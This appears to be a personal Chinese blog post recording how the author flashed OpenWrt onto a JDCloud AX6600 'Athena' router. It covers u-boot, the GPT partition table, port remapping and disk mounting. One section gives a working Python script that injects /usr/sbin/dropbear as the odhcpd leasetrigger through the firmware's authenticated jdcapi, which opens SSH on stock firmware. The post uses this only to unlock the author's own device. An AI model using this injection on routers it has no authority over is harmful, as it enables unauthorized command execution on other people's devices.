JDCloud AX6600(雅典娜) 刷机记录

WIFI7都发布了,是时候升级到WIFI6了。

前几个月矿难,某类路由器的价格一路狂跌。正好家里最近新增了个NAS,mt7621也性能瓶颈了,该换了。听朋友推荐,入手了这款京东云雅典娜。

设备说明

刷机

到手第一件事,肯定是把京东的破系统扬了,毕竟我又不拿来跑pcdn。

看了下网上的教程,都是拆机走9008刷机的。

设备到手,一看,好家伙,2022.10的老库存了,估计是老版rom,说不定不需要拆机。

ROM版本: JDC02-1.5.50.r2204

查了下,果然有漏洞,通过固件的ubus总线更改配置可以开启ssh。

开启SSH

漏洞原理就不分析了,看了下b站的教程,写得也忒晦涩了。

简单说下原理吧,具体的可以直接用我的脚本一把嗦

/usr/sbin/dropbear 是这个路由器负责启动SSH服务的进程,需要开启SSH服务启动一下这个就行了。

现在我们只需要一个命令注入,能执行命令启动dropbear,正好ipv6的DHCP服务有个漏洞,可以执行命令。

利用流程:

  1. 篡改/etc/config/dhcp,更新odhcpd配置,设置leasetrigger为我们要启动的dropbear
  2. 提交配置生效
  3. 开启ipv6的NAT6服务,触发命令执行,启动SSH

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import requests

url = "http://192.168.68.1/jdcapi"
sessionid = "" # 浏览器登陆后,从cookie里拿sessionsid的值

# 查看dhcp配置
def get_dhcp_config():
r = requests.post(url, json={
"jsonrpc": "2.0",
"id": 1,
"method": "call",
"params": [
sessionid,
"uci",
"get",
{
"config":"dhcp",
"section":"odhcpd"
}
]
})
print(r.json())

def set_dhcp_config():
r = requests.post(url, json={
"jsonrpc": "2.0",
"id": 1,
"method": "call",
"params": [
sessionid,
"uci",
"set",
{
"config": "dhcp",
"type":"odhcpd",
"section": "odhcpd",
"values":{
"leasetrigger":"/usr/sbin/dropbear"
}
}
]
})
print(r.json())

r = requests.post(url, json={
"jsonrpc": "2.0",
"id": 1,
"method": "call",
"params": [
sessionid,
"uci",
"commit",
{
"config": "dhcp"
}
]
})
print(r.json())

if __name__ == "__main__":
set_dhcp_config()

浏览器获取下cookie,执行上面的脚本。

浏览器进后台,路由设置-上网设置-IPV6网络设置,打开,切换上网方式为NAT6,保存即可触发。

轻松拿下shell。

刷入uboot

uboot:uboot-JDC_AX1800_Pro-AX6600_Athena-20240510.bin

先刷入uboot,直接scp上传到路由器上

然后开刷

1
2
3
4
# 刷入 u-boot,此步骤需要谨慎,刷错可能导致路由器无法启动,需要确保文件存在且完整
# 如果文件不完整这一步可能会导致路由器无法启动,所以一定要确认文件大小和完整性
dd if=/root/uboot-JDC_AX1800_Pro-AX6600_Athena-20240510.bin of=$(blkid -t PARTLABEL=0:APPSBL -o device) conv=fsync
dd if=/root/uboot-JDC_AX1800_Pro-AX6600_Athena-20240510.bin of=$(blkid -t PARTLABEL=0:APPSBL_1 -o device) conv=fsync

刷入 u-boot 成功之后,可以按照下面的步骤进入 u-boot 界面,刷入 OpenWrt 固件。

  • 拔掉电源下电
  • 找个牙签怼住reset按键,上电。可以看到路由器启动从红灯闪烁变成持续蓝灯,等待出现稳定不变的蓝灯后,松开reset案件。
  • 插网线,配置静态IP
    • IP:192.168.1.2
    • 网关:192.168.1.1
    • 子网掩码:255.255.255.0
  • 访问 http://192.168.1.1/

刷GPT分区表

访问 http://192.168.1.1/img.html

刷入GPT分区:gpt-JDC_AX6600_Athena_dual-boot_rootfs2048M_no-last-partition.bin

刷完以后等两分钟,路由器会长亮红灯。直接下电,按reset进uboot就行。

刷ROM

uboot首页( http://192.168.1.1/ ),直接刷入线刷包即可。

ROM包右转github/恩山。

2.5G网口切换

雅典娜提供了一个2.5G网口,默认分给wan口,显然wan口用不上这么大的,改到lan口给nas用才是正道。

先修改lan口的设置,在物理设置里,取消勾选eth0,把eth4(2.5G网口)勾选上

再进wan口和wan6口的设置,更改物理接口到eth0

保存应用后,路由器最右边的接口就变成wan口了,2.5G口直接给nas就ok了。

分区格式化和挂载

由于我们刷的GPT分区是不带最后一个分区的,需要自己分区、格式化硬盘、挂载。

ssh到路由器上,执行cfdisk /dev/mmcblk0

直接NEW

大小默认就可以

选择Wrtie进行写入分区表操作

然后回到路由器管理后台页面

格式化硬盘

选择ext4格式,空间有点大,需要等几分钟。

格式完创建挂载点即可,这里我使用docker,就挂载到了/opt。也可以参考其他教程,直接挂载到/overlay。

完结撒花

还能看时间,完美~

处理器性能非常够,内存1G跑路由绰绰有余,有需要搭一点小服务也足够用了。

参考资料


JDCloud AX6600(雅典娜) 刷机记录
https://250.ac.cn/2025/01/12/JDCloud-AX6600-openwrt/
Author
惊蛰
Posted on
January 12, 2025
Licensed under